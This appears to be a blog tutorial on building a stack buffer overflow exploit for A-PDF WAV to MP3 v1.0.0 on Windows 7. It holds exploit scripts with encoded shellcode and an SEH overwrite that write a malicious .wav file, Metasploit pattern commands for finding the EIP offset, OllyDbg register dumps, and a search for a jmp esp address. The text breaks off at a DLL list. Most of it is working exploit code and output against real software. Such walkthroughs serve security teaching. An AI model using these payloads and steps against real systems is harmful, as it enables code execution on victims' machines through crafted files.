<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>45&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4c&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>4c&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>44&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4c&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>46&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>50&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>44&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>45&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>43&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>4b&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>43&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
&nbsp;
buff = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">4132</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
nops = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>90&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">12</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
nseh = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>EB<span style="color: #000099; font-weight: bold;">\x</span>06<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
retn = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>5C<span style="color: #000099; font-weight: bold;">\x</span>26<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
junk = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">300</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
sploit = <span style="color: black;">&#40;</span>buff+ nseh + retn + nops + <span style="color: #dc143c;">code</span> + junk<span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">try</span>:
    f1 = <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Dr_IDEs.wav&quot;</span>,<span style="color: #483d8b;">&quot;w&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>	<span style="color: #808080; font-style: italic;">#No file checking, any file extension works... (.xyz .foo .abc)</span>
    f1.<span style="color: black;">write</span><span style="color: black;">&#40;</span>sploit<span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
    f1.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
    <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">'[*] Success. Load File.'</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">except</span>:
    <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;[-] Error, could not write the file.&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span></pre></div></div>

<p>As you could read, the exploit should launch calc.exe, but unfortunately we can only see an application crash on Win7.</p>
<p>But how can we exploit this vulnerability for Win7?</p>
<p>This “simple” question will allow us to understand how the Windows stack works.<br />
Currently what we have to know is that when the CPU loads a program into memory three components are placed:<br />
- Code segment<br />
- Data segment<br />
- Stack segment</p>
<p>Stack section loads and unloads frames, and to perform this function the CPU uses registers.</p>
<p>The most important ones are:<br />
- ESP pointer on the stack<br />
- EBP: pointer to the base of the stack<br />
- EIP: pointer to next instruction<br />
Now I would not go into details which have already been widely discussed on the Internet, refer to Google to fill some gaps in this article. </p>
<p>Stay tuned to our goal we say that there are many techniques of jumping to exploit a BOF. Watching this exploit is clear that it uses a technique called SEH, nevertheless in this tutorial we&#8217;ll see how to use a jmp esp.</p>
<p>Firstly  we verify that there is actually BOF and the eip is overwritten:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># http://www.exploit-db.com/exploits/14681/</span>
&nbsp;
<span style="color: #808080; font-style: italic;">#################################################################################</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># Title:	A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit</span>
<span style="color: #808080; font-style: italic;"># Exloit By:	Dr_IDE</span>
<span style="color: #808080; font-style: italic;"># Tested On:    XPSP3</span>
<span style="color: #808080; font-style: italic;"># Date:		August 18, 2010</span>
<span style="color: #808080; font-style: italic;"># Download: 	http://www.brothersoft.com/a-pdf-wav-to-mp3-converter-394393.html</span>
<span style="color: #808080; font-style: italic;"># Reference:	http://www.exploit-db.com/exploits/14676/</span>
<span style="color: #808080; font-style: italic;"># Usage:	Import File, Select It, Click Play, Calc.</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># EDB Notes:</span>
<span style="color: #808080; font-style: italic;"># This exploit uses SEH to gain code execution, while EDB 14676 uses a direct</span>
<span style="color: #808080; font-style: italic;"># EIP overwrite which is operating system specific.</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;">#################################################################################</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># windows/exec - 303 bytes  CMD=calc.exe Encoder - alpha/upper EXITFUNC - SEH</span>
<span style="color: #808080; font-style: italic;"># It Doesn't Work</span>
&nbsp;
buff = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">5000</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
sploit = <span style="color: black;">&#40;</span>buff<span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">try</span>:
    f1 = <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Dr_IDEs2.wav&quot;</span>,<span style="color: #483d8b;">&quot;w&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>	<span style="color: #808080; font-style: italic;">#No file checking, any file extension works... (.xyz .foo .abc)</span>
    f1.<span style="color: black;">write</span><span style="color: black;">&#40;</span>sploit<span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
    f1.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
    <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">'[*] Success. Load File.'</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">except</span>:
    <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;[-] Error, could not write the file.&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span></pre></div></div>

<p>At this point we run the a-pdf application and link the process to <a href="http://www.ollydbg.de/">OllyDbg</a>.<br />
By converting the newly created file with the exploit we notice that the application crashs and we verify precisely that the EIP is overwritten with all A &#8220;\ x41&#8243; in hexadecimal notation:</p>
<pre>
EAX 00000000
ECX 00001388
EDX 00001388
EBX 41414141
ESP 034DFE90 ASCII "AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBP 41414141
ESI 41414141
EDI 41414141
EIP 41414141
</pre>
<p>So the BOF happens, but in order to be used it is necessary to calculate the offset, the right range where the EIP is overwritten. To help us there are some tools in the framework Metasploit:</p>

<div class="wp_syntax"><div class="code"><pre class="shell" style="font-family:monospace;">root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb 5000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1
Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3
Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3A [. . .]</pre></div></div>

<p>We create the pattern and copy the output directly into the exploit:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># http://www.exploit-db.com/exploits/14681/</span>
&nbsp;
<span style="color: #808080; font-style: italic;">#################################################################################</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># Title:	A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit</span>
<span style="color: #808080; font-style: italic;"># Exloit By:	Dr_IDE</span>
<span style="color: #808080; font-style: italic;"># Tested On:    XPSP3</span>
<span style="color: #808080; font-style: italic;"># Date:		August 18, 2010</span>
<span style="color: #808080; font-style: italic;"># Download: 	http://www.brothersoft.com/a-pdf-wav-to-mp3-converter-394393.html</span>
<span style="color: #808080; font-style: italic;"># Reference:	http://www.exploit-db.com/exploits/14676/</span>
<span style="color: #808080; font-style: italic;"># Usage:	Import File, Select It, Click Play, Calc.</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># EDB Notes:</span>
<span style="color: #808080; font-style: italic;"># This exploit uses SEH to gain code execution, while EDB 14676 uses a direct</span>
<span style="color: #808080; font-style: italic;"># EIP overwrite which is operating system specific.</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;">#################################################################################</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># windows/exec - 303 bytes  CMD=calc.exe Encoder - alpha/upper EXITFUNC - SEH</span>
<span style="color: #808080; font-style: italic;"># It Doesn't Work</span>
&nbsp;
buff = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3A
d4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1A
f2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6A [ . . .]&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
sploit = <span style="color: black;">&#40;</span>buff<span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">try</span>:
    f1 = <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Dr_IDEs3.wav&quot;</span>,<span style="color: #483d8b;">&quot;w&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>	<span style="color: #808080; font-style: italic;">#No file checking, any file extension works... (.xyz .foo .abc)</span>
    f1.<span style="color: black;">write</span><span style="color: black;">&#40;</span>sploit<span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
    f1.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
    <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">'[*] Success. Load File.'</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">except</span>:
    <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;[-] Error, could not write the file.&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span></pre></div></div>

<p>Again we check the EIP address:</p>
<pre>
EAX 00000000
ECX 00001388
EDX 00001388
EBX 35684634
ESP 035DFE90 ASCII "h7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0
Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6F
m7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1F
p2Fp3Fp4F
EBP 31684630
ESI 68463368
EDI 46326846
EIP 46366846</pre>
<p>Eip point to 46366846. So to calculate the offset we can use another tool of Metasploit. It takes as input the value just found and the number of bytes which created the BOF.</p>

<div class="wp_syntax"><div class="code"><pre class="shell" style="font-family:monospace;">root@bt:/pentest/exploits/framework3/tools# ./pattern_offset.rb 46366846 5000
4128</pre></div></div>

<p>Now we know exactly where to overwrite the EIP. We have a structure like this:<br />
[ 4128 bytes BOF ] [ 4 bytes eip ] [ Other bytes where we can put the shellcode ]</p>
<p>We know that once the EIP is overwritten and the flow of execution is captured, there is another register  that could be useful to point directly to the shellcode: ESP, or the top of the stack.</p>
<p>Let&#8217;s see exactly what happens:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># http://www.exploit-db.com/exploits/14681/</span>
&nbsp;
<span style="color: #808080; font-style: italic;">#################################################################################</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># Title:	A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit</span>
<span style="color: #808080; font-style: italic;"># Exloit By:	Dr_IDE</span>
<span style="color: #808080; font-style: italic;"># Tested On:    XPSP3</span>
<span style="color: #808080; font-style: italic;"># Date:		August 18, 2010</span>
<span style="color: #808080; font-style: italic;"># Download: 	http://www.brothersoft.com/a-pdf-wav-to-mp3-converter-394393.html</span>
<span style="color: #808080; font-style: italic;"># Reference:	http://www.exploit-db.com/exploits/14676/</span>
<span style="color: #808080; font-style: italic;"># Usage:	Import File, Select It, Click Play, Calc.</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># EDB Notes:</span>
<span style="color: #808080; font-style: italic;"># This exploit uses SEH to gain code execution, while EDB 14676 uses a direct</span>
<span style="color: #808080; font-style: italic;"># EIP overwrite which is operating system specific.</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;">#################################################################################</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># windows/exec - 303 bytes  CMD=calc.exe Encoder - alpha/upper EXITFUNC - SEH</span>
<span style="color: #808080; font-style: italic;"># It Doesn't Work</span>
&nbsp;
buff = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">4128</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
eip = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">4</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
shellcode = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>43&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">200</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
sploit = <span style="color: black;">&#40;</span>buff + eip + shellcode<span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">try</span>:
    f1 = <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Dr_IDEs4.wav&quot;</span>,<span style="color: #483d8b;">&quot;w&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>	<span style="color: #808080; font-style: italic;">#No file checking, any file extension works... (.xyz .foo .abc)</span>
    f1.<span style="color: black;">write</span><span style="color: black;">&#40;</span>sploit<span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
    f1.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
    <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">'[*] Success. Load File.'</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">except</span>:
    <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;[-] Error, could not write the file.&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span></pre></div></div>

<p>In this script we created a BOF with the character &#8220;\ x41&#8243;, overwrote the EIP with &#8220;\ x42&#8243; and injected other code &#8220;\ x43&#8243;. Analyzing the registers we note that the EIP has been properly overwritten and the ESP contains the character C or “\ x43”. Bingo!</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">EAX 00000000
ECX 000010EC
EDX 000010EC
EBX 41414141
ESP 035CFE90 ASCII 43,&quot;CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCC&quot;
EBP 41414141
ESI 41414141
EDI 41414141
EIP 42424242</pre></div></div>

<p>Checking the address to which ESP points, we can see that it was opportunely overwritten with &#8220;\x43&#8243;.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">035CFE90   43434343
035CFE94   43434343
035CFE98   43434343
035CFE9C   43434343
035CFEA0   43434343
035CFEA4   43434343
035CFEA8   43434343
035CFEAC   43434343
035CFEB0   43434343
035CFEB4   43434343
035CFEB8   43434343
035CFEBC   43434343
035CFEC0   43434343
035CFEC4   43434343
035CFEC8   43434343
035CFECC   43434343</pre></div></div>

<p>Now we replace the characters &#8220;\x43&#8243; with a working shellcode and overwrite the EIP with a jmp esp opcode. Thus when the program flow reaches the EIP, it will jump straight to our shellcode. In order to find a jmp esp opcode is necessary to look for the dll of OS and the program that loads at startup.</p>
<p>Hitting on &#8220;E&#8221; OllyDbg, you can see all DLLs loaded:</p>
<pre>Executable modules
Base       Size       Entry      Name       File version      Path
00400000   001EC000   00401000   wavtomp3   1.0.0.0           C:\Program Files\A-PDF Wav to MP3\wavtomp3.exe
10000000   0008C000   10029CF0   lame_enc                     C:\Program Files\A-PDF Wav to MP3\lame_enc.dll
6B7F0000   0030B000   6B83E295   mf         12.0.7600.16385   C:\Windows\System32\mf.dll
6D270000   00072000   6D271576   dsound     6.1.7600.16385 (  C:\Windows\system32\dsound.dll
6D800000   00059000   6D80DB19   MFPlat     12.0.7600.16385   C:\Windows\System32\MFPlat.DLL
6D860000   00198000   6D861291   NetworkE   6.1.7600.16385 (  C:\Windows\system32\NetworkExplorer.dll
6DA00000   0005C000   6DA34A08   Structur   7.00.7600.16385   C:\Windows\System32\StructuredQuery.dll
6DFB0000   00016000   6DFB173D   thumbcac   6.1.7600.16385 (  C:\Windows\system32\thumbcache.dll
707E0000   0009F000   707E18C6   SearchFo   6.1.7600.16385 (  C:\Windows\system32\SearchFolder.dll
70990000   00014000   70991340   msacm32    6.1.7600.16385 (  C:\Windows\system32\msacm32.dll
70B00000   00004000   70B01030   ksuser     6.1.7600.16385 (  C:\Windows\System32\ksuser.dll
70B40000   00032000   70B437C1   winmm      6.1.7600.16385 (  C:\Windows\system32\winmm.dll
70F30000   0002B000   70F4D3FE   ieproxy    8.00.7600.16625   C:\Program Files\Internet Explorer\ieproxy.dll
